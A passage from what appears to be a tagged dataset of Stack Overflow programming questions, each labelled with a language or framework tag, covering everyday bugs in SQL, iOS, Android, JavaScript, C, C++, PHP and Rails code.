fa-thumbs-up  aria-hidden= false &gt;&lt;/span&gt;         &lt;span class= badge &gt;&lt;%= comment.get_upvotes.size %&gt;&lt;/span&gt;       &lt;/button&gt;     &lt;% end %&gt;      &lt;%= link_to unlike_post_comment_path(@post  comment)  class:  like   method: :put do %&gt;       &lt;button type= button  class= btn-xs btn-outline-info  aria-label= left align &gt;         &lt;span class= far fa-thumbs-down  aria-hidden= true &gt;&lt;/span&gt;         &lt;span class= badge &gt;&lt;%= comment.get_downvotes.size %&gt;&lt;/span&gt;       &lt;/button&gt;     &lt;% end %&gt; </code></pre>,ruby-on-rails
does fieldset have to be in a form   i dont know anything about dtd.    <a href= http://www.bls.gov/oco/ocos292.htm  rel= noreferrer >http://www.bls.gov/oco/ocos292.htm</a>    see how fieldset is used outside of form on this page and it s cool! i love the style!,html
simple calculation with if function not working  ok guys  i ve got a simple calculation that s not working.    i ll give a really basic example of the problem.    i have a kg button and a pounds button. if the kg button is selected  float weight is the value in my weight text box. if the pounds button is select  i divide the number in the weight text box by 2.2 and make it float weight.    i ve written an if function for this and at the end  i want to multiply weight and age. age is just whatever number is in the age text box.   <pre><code>-(ibaction)calculate; {     //put age value into a float     float age = ([valage.text floatvalue]);       //put weight value into a float     if (btnkg.selected = yes)     {         float weight = ([valweight.text floatvalue]);     }     else     {         float weight = ([valweight.text floatvalue]/2.20462);     }        //calculate     float bmr = weight * age;    } </code></pre>   i get an error on the calculation stage that weight is an undeclared identifier. no problems with age though.    i m guessing the if function is causing the problem. i m sure it s something really silly i m overlooking.    can anybody help please     thanks,objective-c
give the solution of twice outer join <pre><code>select materialprocessslip.*         vendor.companyname            o.name from   materialprocessslip processslip        left outer join vendors vendor        on     (                      processslip.subcontractorid=vendor.id               )               materialprocessslip        left outer join operations o        on     (                      processslip.operationsid=o.id               ) </code></pre>,sql
handle event content uiwebview change  i used uiwebview to compose content of email <br /> uiwebview contains content:   <pre><code>&lt;html&gt;             &lt;body&gt;             &lt;div id= content  contenteditable= true  style= font-family: helvetica; margin-top:15px; &gt;             &lt;/div&gt;         &lt;/body&gt; &lt;/html&gt; </code></pre>   i need handle event content uiwebview change to resize frame uiwebview,ios
grab original method/column name from rails alias_attribute  right now  i have some legacy classes with differently-named columns that i ve aliased to a new  common name via rails  alias_attribute  as below:   <pre><code>class user &lt; activerecord::base   alias_attribute :id  :userid   ... end  class car &lt; activerecord::base   alias_attribute :id  :carid   ... end </code></pre>   for some logging purposes  i need to access the old column names (eg. carid and userid). is there a general way to access the old name from alias_attribute via its alias  renaming the old columns is not ideal  since many other parts of the app are still using the old column names.,ruby-on-rails
wrap div element between 2 divs by given selectors  example:   <pre><code>&lt;div id= id1 &gt;content&lt;/div&gt; &lt;div id= id2 &gt;content&lt;/div&gt; &lt;div id= id3 &gt;content&lt;/div&gt; &lt;div id= id4 &gt;content&lt;/div&gt; &lt;div id= id5 &gt;content&lt;/div&gt; </code></pre>   i am expecting to show   <pre><code>&lt;div id= tobereplacelater &gt;    &lt;div id= id1 &gt;content&lt;/div&gt;    &lt;div id= id2 &gt;content&lt;/div&gt;    &lt;div id= id3 &gt;content&lt;/div&gt;    &lt;div id= id4 &gt;content&lt;/div&gt; &lt;/div&gt; &lt;div id= id5 &gt;content&lt;/div&gt; </code></pre>   it doesn t mean to be every 4 childs  but it could be dynamic one  but the key is to encapsulate between id1 and id4  any expert know how to do it,jquery
how can i use `while` to create 10 `.txt` files in the path (on my desktop)   i am a newbie in python.  i want to know how to write a script for creating files that uses <code>while</code> to create 10 files in a given path (i want the name of the first file <code>1.txt</code> and <code>2.txt</code> to <code>10.txt</code> for the rest).,python
ios which is the best way to pass data from one viewcontroller to another . through singleton class or *.h file   i m new to ios  my question is: what is the best way to pass data from one uiviewcontroller to another  through singleton class or *.h file,ios
very high performance .net-based engine for handling web requests  i have a need for a simple  lightweight .net-based web server engine that will comfortably serve hundreds (or even thousands) of simultaneous requests without breaking a sweat.    i love the idea of node.js but it s only got one .net port and it seems to have some significant limitations in the forming of blocking writes and hasn t been developed any further since the author quickly whipped it together. has anyone used it for high performance stuff     what alternatives are there  do we really need to be developing something custom,.net
database connection and querying in asp.net  okay  so after about an hour of searching through the web  i m still having issues trying to create a local db connection in asp.net.     i need to create a connection to a local database file  and then simply loop through each record in a table. i m not sure which file extension to use here (.aspx  .vbhtml  .cshtml )    this is what i currently have from this <a href= http://www.w3schools.com/website/webpages_database.asp  rel= nofollow >w3school</a> tutorial    <pre><code>  create local connection to db file @{ var db = database.open( properties.mdf );  var query = db.query( select * from properties );  }      &lt;div id= pagewrap &gt;            loop through records         @foreach(var row in query)         {          &lt;p&gt;@row.streetaddress&lt;/p&gt;          &lt;p&gt;@row.city&lt;/p&gt;          &lt;p&gt;@row.state&lt;/p&gt;           }      &lt;/div&gt; </code></pre>   i m currently getting a <code>connection string  properties.mdf  was not found.</code> error when running the above code. any help is greatly appreciated.,asp.net
sql - accessing results from count (*) as total in outer layers   here is the question as it appears on the sheet:  get website numbers for websites that have at least all of the products purchased by customer c100.     ok  here is some code:   <pre><code>select w.websiteid from website as w where w.websiteid in (      select count (*) as total     from (select distinct p.pnum                from purchases as p                where p.cnum =  c100 ) and total = 2  ) </code></pre>   what i am trying to do is count the number of purchases ( (count (*) ) for each p.wnum (or website number) that have a p.cnum (customer number) of the string  c100 . the question wants to know all w.websiteid (website numbers) for websites that have at least all of the products purchased by customer  c100 . since customer 100 purchased two products according to the chart (not shown)  i m looking for all websites that have sold exactly two distinct products with a p.cnum of  c100 .    sorry  i realize this is convoluted  and my way probably isn t even the best way to solve the problem (different approaches are certainly welcome)    down to the crux of the matter: when i try and run this  it asks for a value for total. total is a result of the function count (*) as total. how come i m not able to access it  how do i check to make sure that the total is equal to 2 (the amount of distinct products purchased by  c100      i really appreciate any and all help with this  i m just a university student trying to make sense of this sql assignment.    any questions  feel free to let me know  i ll get back to you a.s.a.p.    sample data: <a href= http://imgur.com/a/4tybg  rel= nofollow >http://imgur.com/a/4tybg</a>,sql
can t check wifi_sleep_policy on some devices  i m trying to check whether <code>wifi_sleep_policy</code> is set to anything but <code>wifi_sleep_policy_never</code>. it works well in some devices and emulators  but doesn t work on others. for example  it does work on <code>nexus s</code> emulator with <code>api 10</code>  but not in <code>nexus one</code> emulator with <code>api 8</code>. when it doesn t work i get this message   <pre><code>12-10 15:57:19.625: w/system.err(477): android.provider.settings$settingnotfoundexception: wifi_sleep_policy 12-10 15:57:19.625: w/system.err(477):  at android.provider.settings$system.getint(settings.java:807) </code></pre>   here s the code   <pre><code>    wifimanager wm = (wifimanager) m_activity.getsystemservice(context.wifi_service);     contentresolver cr = m_activity.getcontentresolver();     int policynever = android.provider.settings.system.wifi_sleep_policy_never;     string wifi_sleep_policy = android.provider.settings.system.wifi_sleep_policy;        try {         if(android.provider.settings.system.getint(cr  wifi_sleep_policy) != policynever)         {             if (build.version.sdk_int&gt;=17){                 showwifisleepwarning(restartaction);                 return false;             }             else                 android.provider.settings.system.putint(cr  wifi_sleep_policy  policynever);         }     } catch (settingnotfoundexception e) {         // todo auto-generated catch block         e.printstacktrace();     } </code></pre>,android
trying to change an image using an array in javascript <pre><code>&lt;!doctype html&gt;  &lt;html&gt; &lt;body&gt; &lt;img id= myimage  src= red.jpg  width= 209  height= 241 &gt; &lt;button type= button  onclick= changeimage() &gt;click me to change the light in the sequence!&lt;/button&gt; &lt;script&gt;  index=(0) var traffic = [ red   rambo   green   yellow ] function changeimage() {     var image = document.getelementbyid( light );     if traffic[index] ===  red  {         image.src =  rambo.jpg ;         index= (index+1)     } else if traffic[index] ===  rambo  {         image.src =  green.jpg ;          index= (index+1)     } else if traffic[index] ===  green  {         image.src =  yellow.jpg ;         index= (index+1)     } else {         image.src =  red.jpg ;         index=0     } } &lt;/script&gt; &lt;/html&gt; &lt;/body&gt; </code></pre>   this is my code i don t understand why when i click the button the image doesn t change the images are all .jpg files are all contained inside the same folders and all are the same size any ideas why is will not change the image i m currently guessing it s something to do with the === or the fact i m using words instead of numbers for them,javascript
how to keep alive a task in background   i m using socket.io in my android application. i want to keep the connection alive and never be close  even if close the app. i create a service class like this:   <pre><code>public class myservice extends service {   private static socket socket; {     try {         socket = io.socket( http://192.168.1.52:2500 );     } catch (urisyntaxexception e) {         throw new runtimeexception(e);     } }  @override public int onstartcommand(intent intent  int flags  int startid) {      socket.connect();     return service.start_sticky; }  @nullable @override public ibinder onbind(intent intent) {     return null; } </code></pre>   and in my main class use this code:   <pre><code>    intent intent = new intent(this myservice.class);     startservice(intent); </code></pre>   but socket not connect!,android
update a uitextfield in a not visible section of uiscrollview without focusing it   i have to update the text of a uitextfield in a not visible section of my uiscrollview but  when i try it  it move the scrollview to it. i don t want this but how can i update my not visible uitextfield without move the scrollview  thanks  alleria,objective-c
menu driven program 1  i need to write a menu driven program to allow the user to input two polynomials and then provide the user with a menu of options  i have already written the part of the code to input two polynomials... but i am struggling with the menu of options... the first option on the menu is to  evaluate the first polynimal at a value of x specified by the user . here is my code so far :`   <pre><code>import java.util.scanner;  public class polynomial2 {      public static void main(string[] args) {         int i  coef  x  deg  count = 2;         double total = 0.0  result;         char opt;         scanner sc = new scanner(system.in);          do {             system.out.println( enter degree );             deg = sc.nextint();             system.out.println( enter x );             x = sc.nextint();              for (i = 0; i &lt;= deg; i++) {                 system.out.println( enter coefficent for   + i);                 coef = sc.nextint();                 total = total + coef * math.pow(x  i);             }             count--;         } while (count &gt; 0);         system.out.println( total=  + total);          {             coef = sc.nextint();             result = sc.nextdouble();             opt = sc.next().charat(0);              switch (opt) {                 case  a :                     result = total + coef * math.pow(x  i);                     system.out.println( evalute polynomial 1 at x );                     break;                 case  b :                     result = total + coef * math.pow(x  i);                     system.out.println( evaluate polynomial 2 at x );                     break;                 case  c :                     result = total + total;                     system.out.println( add polynomial 1 and 2 );                     break;                 case  d :                     result = total - total;                     system.out.println( subtract polynomial 1 from polynomial 2 );                     break;                 case  e :                     result = total - total;                     system.out.println( subtract polynomial 2 from polynomial 1 );                     break;                 case  f :                     result = total * x;                     system.out.println( multiply polynomial 1 by a constant );                     break;                 case  g :                     result = total * x;                     system.out.println( multiple polynomial 2 by a constant );                     break;             }         }     } } </code></pre>,java
php - constant array  i have a small php script where it makes sense to use globals. one of the globals is an array that simply contains values to be unpacked but not modified by several different functions. if the script ever expands  the idea of having a global array is a bit unsettling. is there any way to turn a global array into a constant  unmodifiable value  and if so  will i still be allowed to use the <code>implode()</code> function on it,php
getting program received signal: “sigkill” when closing my application in multi tasking bar in iphone sdk  i am getting program received signal:  “sigkill” exception when i close my application in multitasking bar of my device.can anyone suggest me why this happening and how to resolve it     anyone s help will be much appreciated.    thanks to all  monish.,objective-c
autofac mediatr not find  my problem    my mediatr module   <pre><code>public class mediatormodule : autofac.module {      protected override void load(containerbuilder builder)     {         builder             .registerassemblytypes(typeof(imediator).gettypeinfo().assembly)             .asimplementedinterfaces();          builder.registerassemblytypes(typeof(get).gettypeinfo().assembly)             .as(o =&gt; o.getinterfaces()                 .where(i =&gt; i.isclosedtypeof(typeof(iasyncrequesthandler&lt; &gt;)))                 .select(i =&gt; new keyedservice( handler   i)));          builder.register&lt;singleinstancefactory&gt;(context =&gt;         {             var c = context.resolve&lt;icomponentcontext&gt;();             return t =&gt; c.resolve(t);         });          builder.register&lt;multiinstancefactory&gt;(context =&gt;         {             var c = context.resolve&lt;icomponentcontext&gt;();`             return t =&gt; (ienumerable&lt;object&gt;)c.resolve(typeof(ienumerable&lt;&gt;).makegenerictype(t));         });          builder             .registergenericdecorator(                 typeof(mediatordecorator&lt; &gt;)                  typeof(iasyncrequesthandler&lt; &gt;)                   handler );     }   } }    autofac.core.registration.componentnotregisteredexception was unhandled by user code hresult=-2146233088 message=the requested service  mediatr.iasyncrequesthandler`2[[sca.prospects.core.application.prospect.crear+command  sca.prospects.core.application  version=1.0.0.0  culture=neutral  publickeytoken=null] [mediatr.unit  mediatr  version=2.1.0.0  culture=neutral  publickeytoken=null]]  has not been registered. to avoid this exception  either register a component to provide the service  check for service registration using isregistered()  or use the resolveoptional() method to resolve an optional dependency. </code></pre>   source=autofac,.net
searching two mysql columns added together for one variable  i currently have a search form which should allow a user to search for a customers full name and it will return the row.  <br /> for example: a user searches for  mr. n mallow  and it will return the row which matches that query. since i am new to mysql i need some help  i ve tried + but that has no effect  probably because it s not standard mysql or something like that.   <pre><code>select *    from mooring         left join customer         on mooring.assignedto = customer.id   where mooring.number like \ $var\       or (customer.titlename + customer.surname =  $var ) </code></pre>   any suggestions,mysql
how can i truncate / convert a decimel point to an integer  i have come across rails development few weeks ago. right now  i am trying to solve an issue which demonstrates like below    i have a input field which converts any integer value x -> x.0 e.g -> if i input 15 hours -> then it converts 15.0 automatically which is fine    but if i input 15. or .15 (dot before / after) -> it shows me error which is usual.    would you please tell how can i convert it to the integer value only (even if i place dot before / after it should only comes up with plain integer without error.),ruby-on-rails
best practice for building single window interface with four collection views  i m trying to build an interface that has two horizontally scrolling collection views  but i m still torn between having two separate view controllers control their respective views or controlling the two views within the main view controller.     people  at least in the past  have said having a controller that controls only a fraction of the screen is not good practice. but i also have a feeling that s only a relic of pre-ios 5 days.     the thing with controlling two rows of collection view is the data source object  in this case the main view controller  gets very confusing and it s hard to pass on data to subviews of collection views because i have to check which collection view is sending the message and such.     i asked a similar question in the past but the thread got blocked or something. please don t. i don t see anything wrong with the question and i ve been pulling my hair for so long.    thanks,ios
c# foreach loop issue  i was just making this program to experiment with lists and such  and i was curious as to why in the foreach loop the object always shows up as the  minecraft  wish object. is it because it was the last wish object to be created  and how can i fix it  so all 3 wish objects which have been declared show up  thanks!    <hr>  <pre><code>using system; using system.collections.generic; using system.linq; using system.text;  namespace consoleapplication1 {     class program     {         static void main(string[] args)         {             wish ipod = new wish( ipod    various   299.00);             wish phone = new wish( new phone    various   00.00);             wish minecraft = new wish( minecraft account    www.minecraft.net   30.00);              list&lt;wish&gt; wishlist = new list&lt;wish&gt;();             wishlist.add(phone);             wishlist.add(ipod);             wishlist.add(minecraft);             console.writeline( toby s wishlist );             console.writeline( if cost is 00.00  the wish s cost varies. );             console.writeline(                );             foreach (wish wish in wishlist)             {                 console.writeline( ---wish--- );                 console.writeline( name: {0}   wish.getname());                 console.writeline( store: {0}   wish.getstore());                 console.writeline( cost: ${0}   wish.getcost().tostring());                 console.writeline( ---------- );                 console.writeline(             );             }             console.readline();          }     }     public class wish     {         static string name  store;         static double approxcost;         public wish(string name  string store  double approxcost)         {             name = name;             store = store;             approxcost = approxcost;         }          public string getname()         {             return name;         }         public string getstore()         {             return store;         }         public double getcost()         {             return approxcost;         }     } } </code></pre>,c#
translate from vb to c# for loop  i used a popular online code converter to go from vb to c# and the c# is not working on this for loop. can any c# experts see the problem      more specifically intellisense is telling me that <code>customerroles()</code> cannot be used like a method. it works fine in vb.       vb:   <pre class= lang-vb prettyprint-override ><code> dim roles as new list(of string)  for x as integer = 0 to enginecontext.current.resolve(of iworkcontext)().currentcustomer.customerroles().count - 1      roles.add(enginecontext.current.resolve(of iworkcontext)().currentcustomer.customerroles(x).name)      ddlroles.items.add(enginecontext.current.resolve(of iworkcontext)().currentcustomer.customerroles(x).name)  next </code></pre>   c# (this is not working) :   <pre class= lang-cs prettyprint-override ><code>list&lt;string&gt; roles = new list&lt;string&gt;(); for (int x = 0; x &lt;= enginecontext.current.resolve&lt;iworkcontext&gt;().currentcustomer.customerroles().count - 1; x++) {   roles.add(enginecontext.current.resolve&lt;iworkcontext&gt;().currentcustomer.customerroles(x).name);   ddlroles.items.add(enginecontext.current.resolve&lt;iworkcontext&gt;().currentcustomer.customerroles(x).name); } </code></pre>,c#
eliminate duplicates on fetching data from multiple tables  fetching data from three tables a   b  c . first table have the company name   second table is the category and third table is location table. for eg:-    this is the result i get :-   <pre><code>a        b             c xx     electrical      us yy      it             uk zz      mech           ind  xx      it             ind xx      electrical     uk   mysql =   select  a.*  b.*  c.* from a_tbl a  left join b_tbl b on      a.s_id = b.cat_id left join c_tbl c on a.location=c.location_id where a.status &lt;&gt;  0   &amp;sql&amp;  order by a.name   </code></pre>   the above code is working fine and fetching all the data . i want the duplicates to be removed  . this is the result i expect    <pre><code> a        b             c xx     electrical      us yy      it             uk zz      mech           ind  </code></pre>   how can i modify,sql
global layout and positionning  i m beginning the integration of a design.   <ul> <li>the first navbar is always there. </li> <li>sometimes i have my second navbar.</li> <li>the content is never under the navbars</li> <li>these 2 navbars have to be on the top of the header. </li> <li>these 2 navbars have to be  infinite  to the bottom of the page. </li> <li>the body hasn t a fixed width.</li> </ul>   <img src= https://i.stack.imgur.com/y1gqw.png  alt= first layout possible >  <img src= https://i.stack.imgur.com/q9hhb.png  alt= second layout possible >   <pre><code>&lt;body&gt;     &lt;header&gt;&lt;/header&gt;     &lt;nav id= main-nav &gt;main-nav&lt;/nav&gt;     &lt;nav id= sub-nav &gt;sub-nav optionnal&lt;/nav&gt;     &lt;section id= main-section &gt;main section&lt;/section&gt; &lt;/body&gt; </code></pre>   i tried to put the 2 nav bloc as absolute  but my content section is not dynamicly on their left. <a href= https://jsfiddle.net/uuqk8dd4/3/  rel= nofollow noreferrer >[fiddle]</a>   <pre><code>header { height: 250px; } #main-nav {   width:150px;   position: absolute;   top: 150px;   left: 0; } #main-section { margin-left:150px; } </code></pre>   i tried float left but my nav is not over the header.    do you have some ideas  i can use bootstrap 3 even if the design has not to be responsive,css
blog backend for non developers rails  i need a very simple  backend visual representation of creating a blog post.  since the blog writers are not developers  i need something that can make blog posting easy.  i know redcloth is available but i m looking for something more simple  but not a cms since it infects my app and mutates it like no other.,ruby-on-rails
$scope is only visible in function and thats why is not working  my layout page looks like this:   <pre><code>&lt;li class= dropdown &gt; &lt;ul class= submenu &gt; &lt;li&gt;&lt;a href= ../account/#/personalinfo  ng-click= setactivemenuforpersonalinfo(); &gt;@translate( my_account )&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; </code></pre>   in layout page i have : <code>@renderbody()</code>where i have index page.in index page im using <code>&lt;div ng-view&gt;&lt;/div&gt;</code>. what im trying to do is when user click on a href to redirect him on that page and set class to this menu that is render in ng-view:   <pre><code>&lt;div class= account-item &gt; &lt;div class= account-heading  ng-class= {active : activemenu ===  settings } &gt; &lt;h4 class=  account-title has-sub &gt; &lt;a data-toggle= collapse  data-parent= #accordion  href= #settings  ng-click= activemenu= settings  &gt;5. @translate( settings )&lt;/a&gt;&lt;/h4&gt; &lt;/div&gt; &lt;div id= settings  class= account-collapse collapse in &gt; &lt;div class= account-body &gt; &lt;a href= #/personalinfo  ng-class= { active-link  : activelink=== personalinfo }  ng-click= activelink= personalinfo  &gt;@translate( personal_information )&lt;/a&gt; &lt;a href= #/notifications  ng-class= { active-link  : activelink=== notifications }  ng-click= activelink= notifications  &gt;@translate( notifications )&lt;/a&gt; &lt;a href= #/passwordchange  ng-class= { active-link  : activelink== passwordchange }  ng-click= activelink =  passwordchange  &gt;@translate( change_password )&lt;/a&gt; &lt;a href= # &gt;@translate( game_settings )&lt;/a&gt;  &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>   when i try this nothing happens:   <pre><code> $scope.setactivemenuforpersonalinfo = function () {          $scope.activemenu =  settings ;         $scope.activelink =  personalinfo ;      } </code></pre>   <code>$scope.activemenu</code> and <code>$scope.activelink</code> are visible only in function and thats why i cant set class on menu. when i put it out of function it works,angularjs
get the height of the screen  not viewport  i looked for this and all i found is to get the height of the window.    is there any way to get only the height of the browser screen      <strong>edit:</strong>    sorry for the bad english  i m spanish.    this is what im looking for: <img src= https://i.stack.imgur.com/rthlm.png  alt= enter image description here >    the blue + red is the height of the window  i want to get the height only of the red portion.,jquery
junk values while reversing a string   my program is to reverse  even though the reverse is being generated but the problem is there is an unwanted junk values too.    i am not able to understand where the problem is.   <pre><code>#include &lt;stdio.h&gt; #include&lt;string.h&gt; int main() {        char ar[100] b[100];     int i j;     scanf( %s  ar);     j=strlen(ar);      printf( %d  j);     j-=1;     for(i=0;j&gt;=0;i++)         {        b[i]=ar[j];        j--;     }     printf( \n %s  b); } </code></pre>   this is the output: <a href= https://i.stack.imgur.com/fazud.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/fazud.png  alt= enter image description here ></a>,c
send message in googlechat  using library jabber-net  help me please    i using labrary jabber-net to send message in google chat. sometines i have autorization and send message(when run application)  but almost allways i can t autorization and don t send message...    using code c#:    private static string message;         public static string _message         {             get { return message; }             set { message = value; }         }   <pre><code>    private static string emailtosend;     public static string _emailtosend     {         get { return  emailtosend; }         set { emailtosend = value; }     }      static jabberclient jc = new jabberclient();      static void sendmessagetogoogletalk(string message  string emailtosend)     {         jc.user =  ***@gmail.com ;         jc.server =  gmail.com ;         jc.password =  **** ;         _message = message;         _emailtosend = emailtosend;         jc.connect();         jc.onerror += client_onerror;         jc.onauthenticate += client_onauthenticate;         jc.close();     }      static void client_onauthenticate(object sender)     {         jc.message(emailtosend  message);     }      static void client_onerror(object sender  exception exception)     {         isrecievemessage = false;     }  </code></pre>   everybody know  how i can result this problem,.net
unwanted spacing using sizetofit in uilabel  i have a uilabel which receives text from database sometime the text may be too short and sometimes it may be long morethan 30 lines to overcome these i am using sizetofit property       <pre><code>qurantext.numberoflines = 0 qurantext.linebreakmode = nslinebreakmode.bywordwrapping qurantext.sizetofit() </code></pre>   for that uilabel...but now i am facing spacing issue as you can seen in that image. how to reduce that unwanted spacing     <a href= https://i.stack.imgur.com/ejn0t.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ejn0t.png  alt= enter image description here ></a>,ios
what s a good safe way to initialise memory for types i don t yet know about   i started thinking about this after receiving an answer for <a href= https://stackoverflow.com/questions/4060273/why-arent-objects-being-pushed-to-this-vector-when-its-a-member-of-a-struct >this question</a>. this is a bit tricky to explain  but i ll do my best.    i m building a small(ish) 2d game engine. there are certain requirements that i need to satisfy  since this engine has to  work  with existing code that others have written for a different engine. some change to existing code is inevitable  but i want to minimise it.    users of my engine need to define entities called  gadgets . these are basically <code>struct</code>s containing shapes and other state variables. these  gadgets  fall into classes  e.g. they may decide to define an <code>icon</code> gadget or a <code>button</code> gadget - or whatever.     they will also define a message handler for that class of gadgets.     e.g.    <pre><code>typedef struct {     shape shapelist[5];     int num_options; }interface;  static void interface_message_handler( interface * myself  message * msg ) {     switch( msg-&gt;type )     {         case new_msg:         {             interface_descriptor * desc = msg-&gt;desc;              // initialize myself with contents of this message.             ...         }         break;     ....     } } </code></pre>   users have already given me the corresponding message handler function and also the number of bytes in a <code>interface</code> object. and they can then ask the engine to create new instances of their gadgets via ids e.g:   <pre><code>engine-&gt;createnewgadget( interface_gadget_class_id  welcome_interface_id ); </code></pre>   where <code>interface_gadget_class_id</code> is the id for that class of gadgets and <code>welcome_interface_id</code> is the instance id. at some point during <code>createnewgadget</code> i need to a) allocate memory to hold a new gadget and then call the gadget class s message handler on it  with a new_msg so that it can initialize itself.    the problem is  if all i m doing is allocating memory - that memory is uninitialized (and that means all the <code>struct</code> members are uninitialized - so if <code>interface</code> contains a <code>vector</code>  for example  then i m going to get some wierd results if the message handler does anything with it ).    to avoid wierd results caused by doing stuff to unintialized memory  i really need to call a constructor for that memory as well before passing it to the gadget s message handler function.    e.g in the case of <code>interface</code>:   <pre><code>pfunc(new (memory) interface); </code></pre>   but my question is  if i have no knowledge of the types that users are creating  how can i do that,c++
layering images in css  i am trying to create a interface that lets you show and hide layers of the same image. i have a group of png images that i want to all occupy the same space and simply show and hid the div each layer is represented in.    when i use absolute position and z-order i still see images rendering in the incorrect order.   <pre><code>&lt;img src= a.png  style= position:absolute;left:0px;top:0px;width:300px;z-order:-1  /&gt;  &lt;img src= b.png  style= position:absolute;left:0px;top:0px;width:300px;z-order:1 /&gt; &lt;img src= c.png  style= position:abslute;left:0px;top:0px;width:300px;z-order:1  /&gt; </code></pre>   in this example image always seems to cover up image b. (at least on chrome)    maybe it s due to image load speed     can this be done or is it questionable design and i should be compositing the images on the server and shipping new images to the client     thanks!,css
how to put hint to edittext  i have two edittext input box. first one is for username and the second one is for password. i want put hint on the inputbox. i have wrote hint with settex() method. in addition  i have wrote   <pre><code>      in onclick(view v)              caser.id.edittext_1:                  text1.settext(  );                     break;        in oncreate               text1 = findviewbyid(r.id.edittext_1);             text1.settext( username ); </code></pre>   whenever i have click on the input box  hint should dissappear. but  hint is not dissappeared. now  is the way i am doing wrong  or i have missed something,android
delay a window.setinterval() function on click of an element  this is my code :    <pre><code>window.setinterval(function(){             if(cursor == number_of_images-1){                 cursor=-1;             }             cursor = cursor+1;             var mar = cursor*940;                     $( #innerslider ).delay(1000).animate({ margin-left :-mar+ px }  {duration: 1000  queue: true});              }  5000); </code></pre>   its work is to keep changing the <code>margin-left</code> property of the <code>css</code>  it works fine. now i want to make sure that when a certain element on the page is clicked then the above function don t run till next five seconds. how can i do that,jquery
python function scope  i have a question about the scope in python functions. i ve included an example that demonstrates the issue i am having.     <em>fun0</em> redefines the first entry in varible <em>c</em> s list. this change is reflected outside of <em>fun0</em>  even when i don t return any values from <em>fun0</em>.    <em>fun1</em> redefines the variable <em>c</em> entirely  but the change isn t reflected outside of <em>fun1</em>. similarly  <em>fun2</em> redefines <em>c</em>  and the change isn t reflected outside of <em>fun2</em>.    my question is  why does <em>fun0</em> modify <em>val3</em> in the <em>main</em> function  while <em>fun1</em> and <em>fun2</em> don t modify <em>val4</em> and <em>val7</em>  respectively    <pre><code>def fun0(a  b  c):     c[0] = a[0] + b[0]     return  def fun1(a  b  c):     c = a[0] + b[0]     return  def fun2(a  b  c):     c = a + b     return  def main():     val1 = [ one ]     val2 = [ two ]     val3 = [  ]     fun0(val1  val2  val3)     print val3      val4 = []     fun1(val1  val2  val4)     print val4      val5 = 1     val6 = 1     val7 = 0     fun2(val5  val6  val7)     print val7     return  if __name__== __main__ :     main() </code></pre>,python
implode the array by and in between  i have this   <pre><code>$myarr = array(     0 =&gt;  person.id = pl.id and aig.id = pl.key       1 =&gt;  start_date between   $startdate  and   $enddate        2 =&gt;  j = 78349          3 =&gt;  text is not null;  ) </code></pre>   i want to implode this array with an and like   <pre><code>implode( and   $myarr)  </code></pre>   but it doesnt but and between the 4 elements of array. how would i put an and between these 4 elements of the array.,php
pass along arguments of varargs functions  say i want to implement a function   <pre><code>void myprintf(const char* format  ...){    printf( hello world!\n )     printf(format  ...); } </code></pre>   i.e. i want to pass along the varargs list to printf. is there any convenient way to do this,c
is assigning unique_ptr to shared_ptr allowed  <pre><code>std::map&lt;std::string  std::shared_ptr&lt;someclass&gt;&gt; map_string_to_object_pointer;   map_string_to_object_pointer[ abcd ] = std::make_unique&lt;someclass&gt;(); </code></pre>   the question is about assigning a unique_ptr to a shared_ptr. this is an existing code and hence just trying to understand if its a bad programming or assigning unique to shared_ptr implicitly convers the unique_ptr into shared  there is no compiler warning due to this.,c++
simple array object from nested object in javascript  it s pretty simple. i have this :   <pre><code>[{ key : jim   values :{ count :2  total :79}}   { key : carl   values :{ count :1  total :120}}   { key : stacy   values :{ count :3  total :90}}] </code></pre>   and i would like this :   <pre><code>[{  key :  jim   count: 2  total: 79 }    {  key :  carl   count: 1  total: 120}    {  key :  stacy   count:3  total: 90}]; </code></pre>   i ve read stuff about nested object  and other kind of data manipulation with javascript but i can t solve my issue. i guess i need to use <code>.map</code> method but i can t make it work. thanks.,javascript
add option to plugin  if checked bind events  i am trying to add an extra option to <a href= http://leocaseiro.com.br/jquery-plugin-string-to-slug/  rel= nofollow >this stringtoslug plugin</a>  so that is only binds the events if the option is checked to toggle the plugin on/off.    e.g i have form fields:   <ol> <li>title</li> <li>url </li> <li>auto url (checkbox) </li> </ol>   when i add <code>if($(checkbox).is( :checked ))</code> this only works on first load  not when you untick/trick the checkbox the stringtoslug plugin does not start working again.     plugin   <pre><code>/*  * jquery stringtoslug plug-in 1.2.1  *  * plugin homepage http://leocaseiro.com.br/jquery-plugin-string-to-slug/  *  * copyright (c) 2009 leo caseiro  *   * based on edson hilios (http://www.edsonhilios.com.br/ algoritm  *   *  * dual licensed under the mit and gpl licenses:  *   http://www.opensource.org/licenses/mit-license.php  *   http://www.gnu.org/licenses/gpl.html  */  jquery.fn.stringtoslug = function(options) {     var defaults = {         setevents:  keyup keydown blur   //set events that your script will work         getput:  #permalink   //set output field         space:  -   //sets the space character. if the hyphen          prefix:             suffix:             replace:    //sample: /\s \([^\)]*\)/gi     };      var opts = jquery.extend(defaults  options);      jquery(this).bind(defaults.setevents  function () {         var text = jquery(this).val();         text = defaults.prefix + text + defaults.suffix; //concatenate with prefix and suffix                text = text.replace(defaults.replace    ); //replace         text = jquery.trim(text.tostring()); //remove side spaces and convert to string object          var chars = []; //cria vetor de caracteres         for (var i = 0; i &lt; 32; i++) {             chars.push (  );         }             /*** abaixo a lista de caracteres ***/         chars.push (defaults.space); // unicode 32         chars.push (  );   // !         chars.push (  );   //           chars.push (  );   // #         chars.push (  );   // $         chars.push (  );   // %         chars.push (  );   // &amp;         chars.push (  );   //           chars.push (defaults.space);  // (         chars.push (defaults.space);  // );          chars.push (  );   // *         chars.push (  );   // +         chars.push (defaults.space);  // );          chars.push (defaults.space);  // -         chars.push (defaults.space);  // .         chars.push (defaults.space);  // /         chars.push ( 0 );  // 0         chars.push ( 1 );  // 1         chars.push ( 2 );  // 2         chars.push ( 3 );  // 3         chars.push ( 4 );  // 4         chars.push ( 5 );  // 5         chars.push ( 6 );  // 6         chars.push ( 7 );  // 7         chars.push ( 8 );  // 8         chars.push ( 9 );  // 9         chars.push (  );   // :         chars.push (  );   // ;         chars.push (  );   // &lt;         chars.push (  );   // =         chars.push (  );   // &gt;         chars.push (  );   //           chars.push (  );   // @         chars.push ( a );  // a         chars.push ( b 